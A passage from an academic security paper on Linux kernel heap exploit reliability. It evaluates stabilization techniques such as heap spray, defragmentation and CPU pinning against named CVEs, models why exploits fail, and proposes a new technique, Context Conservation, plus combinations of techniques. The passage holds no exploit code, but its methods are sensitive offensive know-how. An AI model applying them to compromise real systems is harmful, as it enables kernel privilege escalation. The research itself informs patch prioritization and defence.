changes in technique effectiveness under different CPU/RAM
settings. As a result of the observation, we present only the
experiment results on the VM with the configuration of 2
CPUs + 2 GB RAM. For the results obtained from other
configurations, readers could refer to Appendix-B.

5.2 Effectiveness Evaluation

Table 3 shows the experiment results. As we can observe,
for all vulnerabilities, there is at least one stabilization tech-
nique that could successfully improve the reliability of its
corresponding exploit. Among all exploit stabilization tech-
niques, Defragmentation demonstrates the weakest capability
in improving exploit reliability. It improves exploit reliability
only for 8 and 6 vulnerabilities in the idle and busy settings,
respectively. This observation indicates that the stabilization
techniques commonly used are generally effective.

While Defragmentation is the least effective in terms of the
number of exploits it stabilizes, similar to Heap Grooming,
Single-Thread Heap Spray, and Multi-Process Heap Spray, it
could significantly improve exploit reliability for OOB vulner-
abilities. The reason is that these four techniques can reduce
the dynamics of the kernel heap and create a clean heap layout
for exploitation. In our experiment, no technique dominates
the reliability of OOB exploits. While Defragmentation and
Heap Grooming show dominant performance in idle systems,
their success rates decrease in the busy setting. In contrast,
the reliability of Multi-Process Heap Spray stays relatively
high even in the busy setting for OOB exploits.

For UAF and DF vulnerabilities, the most effective tech-
niques are Single-Thread Heap Spray and Multi-Process Heap
Spray in both idle and busy settings. Take CVE-2016-0728 as
an example. The success rate of baseline exploit is 1.48% in
idle systems. Single-Thread Heap Spray and Multi-Process
Heap Spray can raise the success rate to 76.10% and 99.94%,
respectively. Recall that exploiting UAF and DF vulnerabil-

ities requires adversaries to take over the freed slot on the
heap. Heap spray allocates many spray objects, increasing the
possibility of successful occupation and thus improve reliabil-
ity. In most cases of our experiment results, we observe that
Multi-Process Heap Spray outperforms Single-Thread Heap
Spray by a vast margin. This is due to the former’s influence
on both scheduler and CPU affinity. We will provide a more
detailed discussion in Section 6.1.

Interestingly, though Multi-Process Heap Spray shows sig-
nificant exploit reliability improvement in both idle and busy
systems, it negatively impacts one exploit in the idle setting.
This hints at other complex underlying factors.

Comparing the success rate of exploits in idle and busy
settings, we observe that the workload of the target system
does influence the effectiveness of reliability techniques. Take
the technique CPU Pinning as an example. In idle setup, 9 out
of 17 exploits achieve more than 90% success rate. However,
in the busy setup, this number decreases to three. Even so, we
still believe the exploit stabilization techniques are effective.
This is simply because, even though busy workload degrades
exploit reliability in general, each technique’s impact on ex-
ploits is generally consistent under different workloads.

5.3 Comparison with Expert Opinions

By comparing the results in Table 1 with those in Table 3, we
observe that experts have the following incorrect opinions on
exploitation stabilization techniques.
Misconception 1. As depicted in Table 1, a majority of
participants believe Defragmentation could improve reliabil-
ity for exploits against arbitrary heap-based vulnerabilities
(i.e., UAF, DF, and OOB). However, our experiment result
misaligns with their opinions. As is shown in Table 3, in both
idle and busy settings, the Defragmentation technique is more
effective for OOB vulnerabilities than other types of vulner-
abilities like DF and UAF. Among all 17 vulnerabilities, all
five OOB exploits benefit from the technique significantly. In
contrast, only three out of nine UAF exploits benefit from it.
None of the DF exploits with Defragmentation demonstrates
improvement. As such, we conclude that the opinions of many
experts on Defragmentation are incorrect.
Misconception 2. For almost all techniques, some inter-
view participants believe that heavy workload will signifi-
cantly harm their effectiveness (i.e., 1-3, 2-2, 5-2 in Table 1).
Intuition suggests that increased workload introduces more
opponent processes, competing with the exploit threads/pro-
cesses for CPU time and kernel heap usage. As a result, it
is more challenging to perform heap operations in a non-
interference fashion.

Our experiment results generally confirm this hypothesis.
All techniques suffer success rate degradation in busy systems.
However, stabilization techniques still improve the success
rate significantly. For example, though Multi-Process Heap
Spray in busy systems does not perform as well as in idle
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systems, the success rate still stays high for almost all vulner-
abilities. This result indicates that increased workload does
influence the effectiveness of techniques but is not a killer.
Misconception 3. Regarding the question of which tech-
nique is the most effective, participants have totally different
opinions (i.e., 1-4, 2-3, 2-4, 4-4 in Table 1). In fact, there is no
universal answer to this question, and the most effective tech-
nique varies case by case. Take CVE-2017-7533 as an example.
The most effective technique for the reliability improvement
of this technique is Multi-Process Heap Spray, no matter
whether the workload is light or heavy. For CVE-2017-7184 in
idle systems, the optimal choice becomes Heap Grooming.

Recall that in Section 4, there are two approaches to im-
plementing heap spray. One is to spray objects in one thread
after triggering the vulnerability. The other is to fork multiple
processes dedicated to object allocation. Opinions diverge
on which implementation is more effective (i.e., 4-2, 4-3 in
Table 1). Our experiment result suggests that Multi-Process
Heap Spray outperforms Single-Thread Heap Spray for al-
most all cases except CVE-2017-6074 with a light workload.
Other Misconceptions. The experiment refutes opinions
1-5 in Table 1. We observe that Defragmentation harms ex-
ploit reliability for five vulnerabilities. This hints that the
outcome is not always as expected by the exploit developers.

Some participants agree that the target CPU should be
idle for CPU Pinning to be effective (5-1 in Table 1). This
statement is incorrect since CPU Pinning demonstrates sub-
stantial reliability improvement in the busy setting, where
all CPUs are busy. In our investigation, we observe that the
crucial factor of CPU Pinning is that it ensures all exploit
processes/threads are all attached to the same CPU. Recall
that in Section 2, the allocator has per-CPU feature which
allocates/frees the slot from/to the local freeslit. Attaching
all processes/threads to the same CPU ensures that heap ma-
nipulation takes place on the same freelist.

5.4 Summary of Exploit Unreliability Factors

For each vulnerability, we also monitor the runtime behaviors
of its different exploits. In this way, we can observe internal
kernel operations when running each exploit and thus compare
the behavior difference accordingly. From our comparison, a
better understanding of the exploitation unreliability could be
obtained. Here, we summarize our understanding or, in other
words, the factors attributive to exploit unreliability.
Unknown Heap Layout. Before the execution of an ex-
ploit, other processes may shuffle the freelist in each slab and
destroy their linear layouts. As a result, when the exploit starts
its execution, it faces an unpredictable heap layout.

Unknown heap layout has a detrimental effect on the reli-
ability of OOB exploits. As briefly discussed in Section 2.2,
OOB exploits aim to allocate a victim object next to a vulner-
able object for exploitation. Without knowing the state of the

freelist in use, it is difficult to obtain the desired heap layout
useful for successful exploitation.

In the typical exploit development process, security re-
searchers usually assume an initial heap layout and develop
exploits based on the assumption. If the heap layout does not
match the assumption during runtime, the exploit is likely
to fail. This assumption on the initial heap layout introduces
randomness to exploit reliability.
Unwanted Task Migration. Although seemingly harm-
less, unexpected task migration contributes to exploit relia-
bility degradation. Task migration occurs when the kernel
tries to balance workloads across CPUs. It forces a process to
run on a different CPU, which effectively causes it to operate
on another freelist because of the per-CPU freelist feature
described in Section 2.1.

This inconsistency in the use of freelists can fail exploits.
For example, a UAF exploit process allocates the vulnerable
object on CPU-A and then gets migrated to CPU-B. When
it frees the vulnerable object, the slot goes back to CPU-
A’s freelist. However, its payload object will be allocated
from CPU-B’s freelist, leading to unsuccessful exploitation.
If the slot is acquired by a process running on CPU-A, the
unexpected object overwrite can lead to kernel panic.

In short, unwanted task migration creates inconsistency in
the use of per-CPU freelists, leading to exploit unreliability.
Unexpected Heap Usage. Modern multitasking kernels
use context switches to simulate concurrency. When a task is
switched out of the CPU, it waits for the next time slice.

In kernel heap exploits, some heap operations should be
done atomically to achieve successful exploitation. A typi-
cal example is freeing the vulnerable object and reoccupying
the freed slot in a UAF exploit. However, suppose a context
switch happens after the object is freed and the next task occu-
pies the target slot before the exploit process gets scheduled
again. In that case, the exploit can never reacquire the target
slot, leading to exploit failure.

In other words, unexpected heap usage may destroy an ex-
pected heap layout during runtime and introduce unreliability.
Unpredictable Corruption Timing. In the Linux kernel,
many non-essential operations are delayed for the sake of
performance. These operations will be scheduled by different
components of the Linux kernel: softirq, workqueue, RCU,
etc. Without access to the internal runtime information of
these components, an exploit process cannot precisely predict
when a specific operation will take place.

When a vulnerability involves these delayed operations,
and more specifically, heap corruption happens inside a de-
layed operation, there is a time delay between vulnerability
triggering and the heap operation taking effect. This poses
difficulty on when to perform exploitation after the vulnera-
bility is triggered. The common solution is to sleep for some
time, making sure the delayed heap operation takes effect.
However, this leaves more time for unexpected heap usage to
happen and introduces unreliability.
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6 Kernel Heap Exploit Model

Based on the discovered unreliability factors and the ker-
nel attacks, we abstract the kernel heap exploit process as
a Kernel Heap Exploit Model. This model explains the pro-
cess of kernel heap exploitation, spanning from the moment
that an exploit starts to interact with a vulnerable system to
the moment that the exploit successfully triggers an attacker-
controlled payload. It also includes all the possible failures
occurring in the middle of the process. This model helps fur-
ther zoom in on the cause of failure of a kernel heap exploit.
In addition, it helps further delve into the reasons why a ker-
nel heap stabilization technique succeeds or fails to improve
kernel heap exploit reliability. Last but not least, it also helps
instruct the development of new stabilization techniques or
technique combinations that mitigate the unreliability issues
for different types of kernel heap exploits.

As shown in Figure 1, the Kernel Heap Exploit Model is
composed of 4 following stages:
1. Context Setup. An exploit prepares the necessary con-

text to trigger a targeted vulnerability, e.g., allocating a
vulnerable object. Some kernel heap exploit stabilization
techniques can be used in this stage to mitigate the unrelia-
bility factors (e.g., unknown heap layout) and thus increase
the exploit reliability.

2. Vulnerability Effect Delay. An exploit triggers the vul-
nerability by the end of context setup, but the heap layout
may not change immediately. For example, for UAF and
DF exploits, after an object free operation is invoked, the
Linux kernel may delay the operation due to read-copy
update (RCU) [15]. We call the period from when a vul-
nerability is triggered to when the corresponding heap
operation takes effect vulnerability effect delay. Specifi-
cally, at this stage, the vulnerable object will be freed for
UAF and DF exploits, the vulnerable object will be over-
flowed for OOB-Object exploits, and the freelist will be
overwritten for OOB-Freelist exploits.

3. Allocator Bracing. After the heap operation takes effect,
the memory allocator may transit to a corrupted state, espe-
cially for UAF, DF, and OOB-Freelist exploits. In this case,
the exploit must restore the allocator from the corrupted
state before the kernel detects the anomaly and turn panic,
thus failing the exploit.

4. Final Preparation. At this stage, the unstable heap ma-
nipulation is finished. Some exploits will perform final
preparations (e.g., modifying payload objects) to obtain
control flow hijacking primitives.

There are two following types of critical phrases that may
contain unreliability factors:

1. Slot-critical Phase. This phase starts when a target slot is
open and ends when the slot is filled by the target object.
In this phase, the target slot is at risk of being occupied by
other objects from other tasks.

The slot-critical phase takes place at different stages for
different types of exploits. For UAF and DF exploits, this
phase happens after the vulnerability-triggering operations
take effect, as the vulnerable object will be freed and
other tasks may compete for the slot. For OOB-Object
exploits and OOB-Freelist exploits, this phase happens
before the vulnerability-triggering operations take effect,
because OOB exploits allocate vulnerable objects before
the vulnerability-triggering operations take effect.

2. Allocator-Critical Phase. In this phase, the allocator is
in a corrupted state due to the operations of an exploit.
This is critical to exploitation success because the kernel
may detect the anomaly and panic when it tries to use the
allocator. A successful exploit should restore the allocator
from a corrupted state before it is caught by the kernel.
Similar to the slot-critical phase, this phase also occurs at
different stages for different types of exploits. For DF ex-
ploits, it happens at the same stage of the slot-critical phase
because releasing a vulnerable object twice will corrupt the
memory allocator. For UAF exploits, the allocator-critical
phase occurs after the object release operation takes effect
if the exploits tamper with the freelist. For OOB-Freelist,
this phase happens after the slot-critical phase because
overwriting the freelist will cause the allocator corruption
issue. For OOB-Object, the allocator-critical phase does
not exist because overflowing to the adjacent object does
not invoke the memory allocator.

6.1 Exploit Stabilization Success and Failure
Using the Kernel Heap Exploit Model, we revisit the exper-
iment results and investigate the success or failure of each
technique. We discover that each technique improves exploita-
tion reliability by mitigating at least one unreliability factor
(Section 5.4), which suggests the comprehensiveness of the
factor synthesis. In this subsection, we present the investiga-
tion result for each stabilization technique.
Defragmentation. This technique is used at the context
setup stage when the kernel heap layout is unknown to the
exploit. It drains the current per-CPU freelist and fills all
half-full slabs to force the creation of a fresh freelist with
a deterministic layout. Since OOB exploits require victim
objects adjacent to the vulnerable objects, a deterministic
freelist layout significantly increases the possibility of placing
both objects at the right spots and improves exploit reliability.

UAF and DF exploits, on the other hand, do not require a
specific heap layout. Therefore, the exploit reliability remains
or even reduces in some cases, as illustrated in Table 3. We
discover that this downgrade usually occurs when the tech-
nique is used after the allocation of vulnerable objects. After
a vulnerable object is allocated, Defragmentation drains the
current freelist and replaces the current freelist with a new
freelist. In UAF and DF exploitation, when the vulnerable ob-
ject is freed, the slot goes back to the slab freelist rather than
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Figure 1: The Kernel Heap Exploit Model with different types of exploits and the critical phases.

the current per-CPU freelist, which poses difficulties in ob-
taining and overwriting the target slot, and thus downgrading
exploit reliability.

Heap Grooming. Similar to Defragmentation, Heap
Grooming works at the context setup stage and mitigates the
Unknown Heap Layout unreliability factor. Consequently,
Heap Grooming improves the reliability of OOB exploits.

Single-Thread Heap Spray. This technique improves ex-
ploit reliability by mitigating multiple unreliability factors
mentioned above. These factors include Unknown Heap Lay-
out, Unexpected Heap Usage, and Unpredictable Corruption
Timing. To be more specific, Single-Thread Heap Spray miti-
gates Unknown Heap Layout by spraying a large number of
payload objects, exhaustively searching for the target slot in
the heap. It also remediates Unexpected Heap Usage since
it can drain unexpected free slots and continue searching for
the target slot during runtime. Furthermore, when the vulner-
ability involves delayed operations, the technique can also
constantly allocate payload objects. This increases the chance
to land a payload object when critical phases start, making an
exploit resistant to Unpredictable Corruption Timing. Because
of so many unreliability factors mitigated, as we observe from
Table 3, Single-Thread Heap Spray is able to improve exploit
reliability significantly in most cases.

Although Single-Thread Heap Spray demonstrates sub-
stantial reliability improvement, it can still fail if unexpected
allocation or unwanted task migration happens during spray.
For example, if an unexpected object allocation occupies the
target slot, heap spray cannot reclaim the slot. Also, if the
spray process is migrated to another CPU during runtime be-
cause of the per-CPU freelist feature (§2.1), it will inevitably
spray on the new CPU’s freelist, thus failing the exploit.

Multi-Process Heap Spray. Multi-Process Heap Spray is
designed to mitigate the weakness of Single-Thread Heap
Spray while preserving its strength. It occupies all CPU’s
runqueue (§2.1) with processes doing heap spray.

It mitigates unexpected allocations by preventing other
processes, which may introduce unexpected allocations, from
getting scheduled. This is because all CPU’s runqueue is filled
with spray processes. When the scheduler decides the next
task to run, the task is likely a spray process.

Likewise, Multi-Process Heap Spray remediates Unwanted
Task Migration by forcing the scheduler to run a spray process
after the current spray process is migrated to another CPU.

Although this technique seems to mitigate all unreliability
factors mentioned above, it works at a cost. Launching many
processes shortens the time slice each process can have at
a time, which increases the chance of occurrence for a con-
text switch, resulting in more unexpected heap usage from
the kernel itself. As a result, Multi-Process Heap Spray is a
double-edged sword for exploit reliability. When the base-
line exploit is unreliable, this technique is able to boost the
reliability by a huge margin. However, when the baseline ex-
ploits are already reliable, it may introduce a slight reliability
degradation to the exploits.
CPU Pinning. Due to the per-slab freelist implementation
(§2.1), a freed slot goes back to its per-slab freelist. Exploit
processes can migrate to different CPUs during execution due
to task migration. When the exploit process frees a victim
object, the target slot goes back to the original CPU’s freelist,
whereas its allocation happens in the new CPU’s freelist. For
this reason, the exploit process can never obtain the target
slot, thus failing the exploitation.

CPU Pinning forces an exploit process to run on a spe-
cific CPU, which effectively forces it to use the same CPU
freelist. Consequently, it is able to improve exploit reliability
significantly in some cases.

7 New Technique and Compositions

As shown in Section 6.1, Kernel Heap Exploit Model helps us
better understand the reason behind the success and failure of
stabilization techniques. Going beyond enriching our under-
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Type CVE Idle Busy
Baseline C.C. Baseline C.C.

OOB 2017-7184 33.51% 34.26% [+] 5.37% 10.11% [+]
OOB 2016-6187 32.89% 32.91% [+] 2.49% 16.03% [+]
OOB 2010-2959 22.09% 22.29% [+] 5.83% 39.06% [+]
OOB 2017-7308 0.04% 0.06% [+] 0.00% 0.00% [=]
UAF 2018-6555 89.98% 93.92% [+] 61.92% 82.08% [+]
UAF 2017-8824 97.64% 99.44% [+] 93.70% 98.82% [+]
UAF 2017-11176 92.17% 99.71% [+] 2.06% 11.51% [+]
DF 2017-2636 95.96% 96.06% [+] 93.26% 97.26% [+]
DF 2017-6074 98.50% 99.24% [+] 66.16% 93.68% [+]

Table 4: Exploit reliability of Context Conservation (C.C.)

Type CVE Baseline Defragment C.C. D.+C.C.

In Idle State
OOB 2017-7184 33.51% 99.46% 34.26% 99.23%
OOB 2016-6187 32.89% 99.63% 32.91% 99.63%
OOB 2010-2959 22.09% 99.37% 22.29% 99.46%
OOB 2017-7308 0.04% 0.32% 0.06% 13.14%

In Busy State
OOB 2017-7184 5.37% 25.00% 10.11% 65.49%
OOB 2016-6187 2.49% 9.89% 16.03% 56.94%
OOB 2010-2959 5.83% 20.09% 39.06% 76.77%
OOB 2017-7308 0.00% 0.00% 0.00% 0.10%

Table 5: Exploit reliability of Defragmentation (Defragment),
Context Conservation (C.C.), and its combination (D.+C.C.)

standing, the model can also help us create new techniques
— in a solo or a compositing way — to stabilize exploits fur-
ther. In this section, we present a new stabilization technique
called Context Conservation and a series of combinations of
stabilization techniques that improve exploit reliability.

7.1 Context Conservation

Taking advantage of Kernel Heap Exploit Model, we realize
that context switches may influence the two critical phases in
the way that the critical phases will last until the exploit pro-
cess gets rescheduled and completed. This prolonged critical
phase gives competitor processes more chance to occupy the
target slot or crash the allocator.

Guided by insights derived from the model, we designed a
novel stabilization technique — Context Conservation — that
aims to avoid context switches during critical phases.

Context Conservation consists of two parts. First, it re-
moves or relocates unnecessary code from critical phases. It
is common to see code for context setup, debugging, and even
sleep calls in critical phases. These unnecessary code snip-
pets prolong the critical phase, increase the chance of context
switch, and thus harm exploit reliability. By deleting or relo-
cating the unnecessary code, one could shorten the critical
phase and thus reduce the possibility that the context switch
occurs in the critical phase.

Second, it injects a stub into the exploit process to predict
when a fresh time slice could be obtained. With this informa-
tion, one will dedicate the fresh slice to the critical phase and
thus avoid a critical stage spanning across multiple time slices.
This design could further decrease the possibility of context
switch occurrence in the critical phase. Specifically, we de-
sign Context Conservation as a loop that runs a stub. In each
iteration, the stub measures the CPU’s time stamp counter
(TSC). If the context switch does not occur within the loop,
then each iteration takes fewer cycles. Otherwise, in specific
iterations, the stub could observe many cycles caused by the
CPU executing other processes. Using this cycle difference as
an indicator, the security researchers could potentially dedi-
cate a fresh time slice to the critical phase, ensuring no context
switch takes a negative impact upon exploitation reliability.

To validate the novelty of Context Conservation, we
checked with the interviewed experts, and we got the con-
firmation that this technique is novel. We also explored ex-
isting writeups and publicly available exploits and found no
literature demonstrating this technique.
Applicability. Applying Context Conservation to kernel ex-
ploits requires the awareness of when the memory corruption
occurs because the technique is designed to work during a
critical phase. Therefore, Context Conservation cannot be ap-
plied to all vulnerabilities. Instead, it only works for exploits
where the memory corruption time is predictable.
Evaluation. We evaluated Context Conservation on all ap-
plicable vulnerabilities and compared it against the baseline.
As shown in Table 4, Context Conservation outperforms the
baseline for all but one vulnerabilities and performs equally
for the single exception.

Furthermore, we observe that Context Conservation does
not improve the reliability of OOB exploits as effectively as
UAF and DF. Heap layout is critical to OOB exploits as the
victim object must be placed adjacent to the vulnerable object.
While Context Conservation decreases heap layout changes
caused by context switches, heap layout can still be changed
by other factors. Therefore, the reliability of OOB exploits
cannot be significantly improved by Context Conservation.

Inspired by the above investigation, we hypothesize that
combining Context Conservation and Defragmentation will
significantly improve OOB exploits as Defragmentation will
help mitigate the heap layout issue caused by other factors.
We validate this hypothesis and show the result in Table 5.
As we can observe, the combination of Context Conserva-
tion and Defragmentation demonstrates a more significant
improvement in exploitation reliability.

7.2 Compositing Stabilization Techniques

The kernel heap exploit model and the evaluation result in-
dicate that each individual technique mitigates different un-
reliability factors to different degrees. As such, we further
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Type CVE Idle Busy R.W. Tech Combo TechBaseline Real-World Combo Baseline Real-World Combo

OOB 2017-7533 20.43% N/A 95.37% [+] 7.86% N/A 82.60% [+] N/A ¬¯°±
OOB 2017-7184 33.51% N/A 97.86% [+] 5.37% N/A 77.74% [+] N/A ¬¯°±
OOB 2016-6187 32.89% 99.34% [+] 99.89% [+] 2.49% 0.46% [−] 60.63% [+] ¬ ¬°±
OOB 2010-2959 22.09% 92.94% [+] 99.57% [+] 5.83% 88.54% [+] 95.09% [+] ¬® ¬¯°±
OOB 2017-7308 0.04% 67.92% [+] 84.90% [+] 0.00% 0.00% [=] 0.76% [+] ¬® ¬¯°±
UAF 2018-6555 89.98% 55.00% [−] 100.00% [+] 61.92% 58.18% [−] 100.00%[+] ® ¯°±
UAF 2016-8655 96.06% 84.54% [−] 99.96% [+] 0.28% 83.28% [+] 99.54% [+] ® ¯°
UAF 2017-15649 13.82% 99.68% [+] 99.96% [+] 18.34% 98.78% [+] 99.74% [+] ¯ ¯°
UAF 2016-4557 99.34% N/A 100.00% [+] 22.80% N/A 99.09% [+] N/A ¯°
UAF 2017-8824 97.64% 65.16% [−] 99.56% [+] 93.70% 61.32% [−] 99.68% [+] ¬¯ ¯°±
UAF 2016-0728 1.48% 76.68% [+] 100.00% [+] 0.14% 34.22% [+] 99.48% [+] ¯ ¯°
UAF 2017-10661 31.98% 44.96% [+] 95.96% [+] 0.18% 4.60% [+] 88.18% [+] ® ¯°
UAF 2016-10150 0.74% 72.56% [+] 99.88% [+] 47.62% 81.20% [+] 88.48% [+] ¯ ¯°
UAF 2017-11176 92.17% 98.23% [+] 100.00% [+] 2.06% 51.31% [+] 96.57% [+] ¯° ¯°±
DF 2017-2636 95.96% N/A 99.80% [+] 93.26% N/A 98.80% [+] N/A ¯°±
DF 2017-6074 98.50% 99.14% [+] 92.14% [−] 66.16% 89.76% [+] 87.66% [+] ®° ¯°±
DF 2017-8890 51.96% N/A 80.92% [+] 6.14% N/A 72.04% [+] N/A ¯°

Table 6: Performance of the combined stabilization techniques in idle and busy settings. The numbers represent the following
respect techniques: ¬ Defragmentation,  Heap Grooming, ® Single-Thread Heap Spray, ¯ Multi-Process Heap Spray, ° CPU
Pinning, and ± Context Conservation. The columns “R.W. Tech” and “Combo Tech” indicate the stabilization techniques
combined in the real-world exploits and composite exploits, respectively. Note that for some vulnerabilities, the real-world
exploits are unavailable. The reason is some real-world exploits are not end-to-end exploits. Although we derive baseline
exploits from them, these incomplete real-world exploits, without major re-engineering, cannot perform successful end-to-end
exploitation. We exclude these incomplete exploits from the evaluation.

explore the combination of multiple stabilization techniques
and quantify the performance of the combined approach.

Based on our experiment result and Kernel Heap Exploit
Model, we choose Defragmentation, CPU Pinning, Context
Conservation, and Multi-Process Heap Spray to construct our
stabilization composition technique. The rationale behind our
selection is that, these 4 techniques nicely complement each
other in mitigating different unreliability factors. Defragmen-
tation eases the Unknown Heap Layout factor. CPU Pinning
mitigates the impact of Unwanted Task Migration factor. Con-
text Conservation and Multi-Process Heap Spray reduce the
impact of Unexpected Heap Usage and Unknown Corrup-
tion Timing, respectively. It should be noted that we exclude
Single-Thread Heap Spray and Heap Grooming because our
aforementioned experiment result indicates that, overall, they
underperform their alternative stabilization techniques — De-
fragmentation and Multi-Process Heap Spray (although they
outperform other methods for some test cases).

Table 6 shows the performance of our combined stabiliza-
tion technique. The combination of the 4 selected techniques
cannot work for all vulnerabilities because the condition of
triggering some vulnerabilities hinders the adoption of some
techniques. For such scenarios, we exclude the corresponding
stabilization method and preserve only those applicable.

Among all 17 vulnerabilities, the combined approach im-
proves reliability for all baseline exploits in idle and busy set-
tings except for the baseline exploit against the vulnerability
CVE-2017-6074. Compared with the baseline exploits’ suc-

cess rates, the combined approach demonstrates a 135.53%
exploitation reliability improvement (baseline: 38.61% vs.
composition method: 90.94%). It indicates that the combined
approach could be an effective method to stabilize exploits
against nearly arbitrary vulnerabilities.

We also observe from Table 6 that exploits enhanced by
our composition method also outperform the real-world ex-
ploits in terms of the exploitation success rate (real-world:
54.30% vs. composition method: 91.15%). In this work, we
gathered these real-world exploits from the Internet. These
exploits are crafted by professional security researchers. As
such, the superiority over real-world exploits implies that the
stabilization method derived from a systematic study could
better improve an exploit’s stabilization than ad-hoc methods
commonly adopted by security practitioners.

We investigated the exploit for CVE-2016-10150 to under-
stand why the combined technique improves its reliability
drastically, especially in busy systems. In this exploit, the
exploit thread and the spray thread must remain different due
to the nature of the vulnerability. Since the exploit thread
and the spray thread both do intensive work, the Linux ker-
nel will mark them as both heavy tasks and migrate one of
them to another CPU for workload balancing, which hurts
exploit reliability. Our investigation shows that this is also
the reason why Single-Thread Heap Spray performs worse
than the baseline for this CVE: its spray thread performs more
intensive work and is more likely to be migrated compared
with the baseline. CPU Pinning forces the two threads to run
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on the same CPU, thus avoiding the unwanted migration and
improving reliability significantly as shown in Table 3. With
both threads pinned to the same CPU, adding Multi-Process
Heap Spray increases the chance of hitting the target slot and
further improves the reliability.

Our composition method fails to improve reliability for the
baseline exploit against CVE-2017-6074, especially in the
idle setting. In addition, for the same case, the composition-
method-enhanced exploit outperforms baseline exploits in the
busy setting. However, its reliability improvement is lower
than that of the real-world exploit. To understand the reason
behind this observation, we manually inspect both exploits.
Our discovery aligns with our early conclusion — Multi-
Process Heap Spray is a double-edge sword. In the idle setup,
it introduces unnecessary additional workload, harming the
reliability of the baseline exploit. On the contrary, in the busy
mode, though Multi-Process Heap Spray imposes additional
workload, which harms exploitation reliability, it also reduces
the impact of workload imposed by other processes, improv-
ing the baseline exploit reliability to some extent. This ex-
plains why the real-world exploit using Single-Thread Heap
Spray demonstrates better reliability improvement.

8 Discussion and Future Work

Insights on Defense. Due to limited manpower, patches
to vulnerabilities are prioritized by the security impact of
the reported vulnerabilities [41]. In current security impact
assessment systems (i.e., Common Vulnerability Scoring Sys-
tem [14], or CVSS score in short), exploit reliability serves
as an important factor. Misunderstanding exploit reliability
may mislead developers by presenting a severe vulnerabil-
ity that can be exploited reliably as low security impact. In
practice, the false security impact assessment may mislead
downstream kernel developers and lead them to de-prioritize
the patches to severe vulnerabilities because of the low CVSS
score. Our systematic study assists developers to clearly un-
derstand the kernel exploit reliability issue, helping them to
correctly prioritize patches to vulnerabilities.
Real-world Systems. We used two system workloads,
namely, idle and busy, to demonstrate reliability variation
under different workloads for each stabilization technique.
Such a setup does not reflect the reliability of each stabi-
lization technique on real-world systems because real-world
systems can have idle and busy workloads intertwining with
each other. As part of our future work, we will design more
systematic experiments to understand exploit reliability under
the real-world workload.
Kernel Heap Exploit Reliability for Other Operating Sys-
tems. This paper focuses on Linux operating systems, aim-
ing to understand the kernel heap exploit reliability issues
rooted in Linux kernel. However, kernel heap exploit reli-
ability issue also exists in other operating systems such as
Windows. For example, Windows exploit developers propose

to use heap data repairing and memory alignment to improve
the reliability of exploit against CVE-2015-0057 in Windows
[40]. We will study this research problem for other operating
systems in the future.
Exploit Stabilization Techniques Combinations. An-
other research direction is to study the composition of exploit
stabilization techniques to further improve exploit reliability.
As pointed out in Section 7.2, combining multiple individual
exploit stabilization techniques helps to improve exploit re-
liability. However, it is hard to justify that our method is the
best combination because one should evaluate all the possible
technique combinations to draw the conclusion.

One may argue that instead of trying all combinations, we
could add techniques incrementally. For example, we could
test Defragmentation with Heap Grooming first; if the re-
sult is better than Defragmentation alone, we continue to add
more techniques; otherwise, we withdraw Heap Grooming.
However, such an incremental approach will not work. In
our study, we observe that techniques are not independent of
each other. Some techniques rely on the existence of other
techniques to further improve reliability; themselves alone do
not improve reliability significantly in some settings. More-
over, techniques behave differently for different vulnerability
types. There may not be a single combination that performs
the best for all vulnerabilities. Given the problem complexity,
we leave the study of combinations of exploit stabilization
techniques as separate research for future work.

9 Related Work

Here, we summarize the works most relevant to ours and
discuss their difference from ours.
Kernel Exploitability Assessment. There are a rich col-
lection of research works on kernel exploitation. From tech-
nical perspectives, kernel exploitability assessment research
could be categorized into three sub-areas below.

The first research area is to explore the capability of vul-
nerabilities. FUZE [43] searches for new use sites of UAF
vulnerabilities using under-context fuzzing and further em-
ploys symbolic execution to identify exploitable primitives
implied by the new use sites. KOOBE [20] retrieves the cor-
ruption capabilities of an OOB vulnerability manifested in
the PoC programs and discloses hidden capabilities using
capability-guided fuzzing. Yonchan et al. [32] increase the
success rate of triggering race condition vulnerabilities by
invoking inter-process interrupts to enlarge the time window.

The second research area is to obtain exploitable primi-
tives. For UAF vulnerabilities, Xu et al. [44] use two memory
collision mechanisms to occupy the freed memory region
in the kernel. Lu et al. [34] exploit use-before-initialization
vulnerabilities using deterministic stack spraying and reliable
exhaustive memory spraying. To take one step forward, Cho
et al. [23] further propose to make use of eBPF functional-
ity in the kernel for stack spraying. SLAKE [22] assists the

USENIX Association 31st USENIX Security Symposium    83



exploitation of slab-based vulnerabilities by first building a
database of kernel objects and then systematically manipulat-
ing the layout of kernel heap by using the kernel objects in
the database.

The third research area is to bypass mitigations in the ker-
nel. ret2dir [30] utilizes physical memory mapped to kernel
space for payload injection. KEPLER [42] uses communica-
tion channels between kernel space and user space to leak
stack canary and inject payload to kernel stack for ROP pro-
gramming. ELOISE [21] leverages a special but prevailing
type of structure to bypass KASLR and heap cookie protector.
Relying on hardware side channel attacks, [25, 28, 29, 33]
circumvent KASLR without triggering SMEP/SMAP.
Exploit Generation Techniques. In the past decade, re-
searchers have explored exploit generation approaches.

Brumley et al. [17, 19] proposed preconditioned symbolic
execution to automatically generate exploits for stack over-
flow and format string vulnerabilities. Bao et al. [18] de-
veloped shellcode layout remediation and path kneading ap-
proaches that automatically transplant existing shellcode to
the target vulnerability. The Shellphish team designed Pov-
Fuzzer and Rex to turn crashes into exploits [36, 37, 38]. Pov-
Fuzzer keeps mutating input and, at the same time, observing
how the input influences the crash. Following this work, Rex
symbolically executes the input with the purpose of jumping
to a shellcode prepared in advance. Heelan et al. focus on
heap buffer overflow vulnerabilities in user space programs.
SHRIKE [26] uses regression tests to learn how to automate
heap layout manipulation and corrupt the sensitive pointers.
They further improve their proposed approach by using a ge-
netic algorithm to replace the random search algorithm in
Gollum [27] for exploiting heap overflow vulnerabilities in
language interpreters. With a similar goal, Revery [39] also
explores exploitable memory layouts for vulnerabilities in
user space programs by using fuzz testing along with a pro-
gram synthesis method to guide the construction of a working
exploit. HeapHopper [24] and Insu et al. [45] discover new
exploitation primitives in the heap allocator, providing heap
operations and attack capabilities as actions, driving the heap
allocator to execute until primitives such as arbitrary write or
overlapped chunks are identified.

Our work is fundamentally different from those above.
Rather than concentrating on exploit generation, our work
studies the reliability problem in exploitation. To the best of
our knowledge, this is the first work that explores and studies
exploitation stabilization techniques.

10 Conclusion

The reliability of Linux kernel exploits heavily rely on security
researchers’ experiences and their opinions on exploit stabi-
lization techniques. In this research, we surprisingly discover
that security researchers’ opinions on exploit stabilization
techniques are diverse. Besides, we also observe that even

those security researchers with extensive experience in Linux
kernel exploitation research have incorrect intuitions towards
